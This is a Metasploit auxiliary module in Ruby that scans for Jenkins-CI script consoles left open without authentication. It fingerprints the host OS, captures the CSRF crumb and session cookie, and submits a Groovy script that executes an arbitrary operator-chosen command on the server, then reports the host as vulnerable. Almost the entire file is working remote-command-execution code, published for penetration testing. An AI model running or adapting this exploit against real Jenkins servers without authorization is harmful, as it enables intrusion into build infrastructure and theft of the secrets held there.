jenkins_command.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'cgi'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner',
        'Description' => %q{
          This module scans for unauthenticated Jenkins-CI script consoles and
          executes the specified command.
        },
        'Author' => [
          'altonjx',
          'Jeffrey Cap'
        ],
        'References' => [
          ['CVE', '2015-8103'], # see link and validate, https://highon.coffee/blog/jenkins-api-unauthenticated-rce-exploit/ states this is another issue
          ['URL', 'https://www.jenkins.io/security/advisory/2015-11-11/'],
          ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
          ['URL', 'https://www.jenkins.io/doc/book/managing/script-console/'],
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
        OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
      ]
    )
  end

  def fingerprint_os(ip)
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "systemInfo") })

    # Verify that we received a proper systemInfo response
    unless res && res.body.to_s.length > 0
      vprint_error("#{peer} - The server did not reply to our systemInfo request")
      return
    end

    unless res.body.index("System Properties") &&
           res.body.index("Environment Variables")
      if res.body.index('Remember me on this computer')
        vprint_error("#{peer} This Jenkins-CI system requires authentication")
      else
        vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
      end
      return
    end

    host_info = {}
    if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
      print_status("#{peer} Using CSRF token: '#{$1}'")
      host_info[:crumb] = $1

      sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
      host_info[:cookie] = "#{sessionid}"
    end

    os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
    host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
    host_info
  end

  def run_host(ip)
    command = datastore['COMMAND'].gsub("\\", "\\\\\\")

    host_info = fingerprint_os(ip)
    return if host_info.nil?

    prefix = host_info[:prefix]

    request_parameters = {
      'uri' => normalize_uri(target_uri.path, "script"),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' =>
        {
          'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
          'Submit' => 'Run'
        }
    }
    request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
    request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
    res = send_request_cgi(request_parameters)

    unless res && res.body.to_s.length > 0
      vprint_error("#{peer} No response received from the server.")
      return
    end

    plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s)

    if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
      vprint_error("#{peer} The server returned an invalid response.")
      return
    end

    # The output is double-HTML encoded
    output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s))
                .gsub(/\s*(out|err)>\s*/m, '')
                .strip

    if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
      output = $1
      print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
    else
      output.split("\n").each do |line|
        print_good("#{peer} #{line.strip}")
      end
    end

    report_vulnerable(output)
  end

  def pattern_extract(pattern, buffer)
    buffer.to_s.scan(pattern).map { |m| m.first }
  end

  def report_vulnerable(result)
    report_vuln(
      :host => rhost,
      :port => rport,
      :proto => 'tcp',
      :sname => ssl ? 'https' : 'http',
      :name => self.name,
      :info => result,
      :refs => self.references,
      :exploited_at => Time.now.utc
    )
  end
end